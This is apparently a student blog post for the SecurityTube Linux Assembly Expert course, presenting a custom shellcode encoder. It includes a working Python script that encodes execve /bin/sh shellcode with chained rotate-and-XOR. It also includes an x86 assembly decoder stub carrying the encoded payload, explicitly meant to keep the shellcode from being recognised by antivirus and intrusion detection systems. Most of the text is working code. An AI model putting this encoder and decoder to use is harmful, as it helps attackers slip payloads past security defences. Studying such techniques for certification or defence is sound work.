The fourth assignment of the Securitytube Linux Assembly Expert 32-bit was to create a custom encoder.
The AntiVirus softwares and Intrusion Detection Systems use pattern matching technique to detect and recognize well-known shellcodes. One way to avoid detection is to transform the shellcode into another, unrecognizable format. This process is called encoding. The shellcode should be packed with a small code which transforms back the encoded shellcode into the original format. This small code is called the decoder stub.
There are two ways to encode a byte array: to scramble it and to transform it. We can scramble with ROL and ROR and we can transform with XOR, SUB and ADD instructions (NOT instruction is also usable for transformation, but NOT is equivalent with XOR with 0xFF). The modern encryption algorithms use the combination of two.
AV and IDS can also be confused with inserting junk bytes into the shellcode, however this technique enlarges the size of the shellcode.
Decoding can be hardened with a technique where we do not encode each byte individually, but we use the input/output of the previous encoding as an input of the next encoding. The following two diagrams show such encoding and decoding. I used this method to create an encoded shellcode.
This python script encodes the execve-stack shellcode. It rotates the byte left with 3 first, then xor with the previous byte. The initial value is 0xaa.
#!/usr/bin/python def rol(byte, op): new_byte = 0 new_byte = byte << op return (new_byte & 0xff) + (new_byte >> 8) shellcode = ("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89" "\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") encoded = "" encoded2 = "" print 'Encoded shellcode ...' # Initialized with 0xaa previous_byte = 0xaa for x in bytearray(shellcode) : y = rol(x, 3) # rotate left with 3 z = y^previous_byte # xor with the previous byte previous_byte = x encoded += '\\x' encoded += '%02x' % z encoded2 += '0x' encoded2 += '%02x,' % z print encoded print encoded2 print 'Len: %d' % len(bytearray(shellcode))
This is the encoded shellcode with the decoder stub. I copied the encoded shellcode, generated by the previous python script. Then I used the JMP-CALL-POP technique to get the pointer to the address of the encoded shellcode. Finally I created a loop where the encoded shellcode is transformed back to its original form.
global _start section .text _start: jmp find_address decoder: pop esi xor ecx, ecx mul ecx mov cl, 25 ; length of the shellcode mov dl, 0xaa ; initial value of XOR operation loop1: xor dl, byte [esi] ; xor with the current byte ror dl, 3 ; rotate right with 3 mov byte [esi], dl ; save back the transformed byte inc esi loop loop1 jmp short shellcode ; jump to the original shellcode find_address: call decoder shellcode: db 0x23,0x37,0x42,0x13,0x1b,0x17,0xb4,0x30,0x2b,0x11,0x56,0x3c,0x29,0x25,0x96,0x61,0x1c,0x9e,0x78,0x1f,0x86,0x64,0xe8,0x65,0xc9
The encoded shellcode, before the encoding.
The encoded shellcode, after the encoding.
The original shellcode contains recognizable strings.
The encoded shellcode does not contain recognizable pattern.
* * * * *
The source code can be found on github:
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-691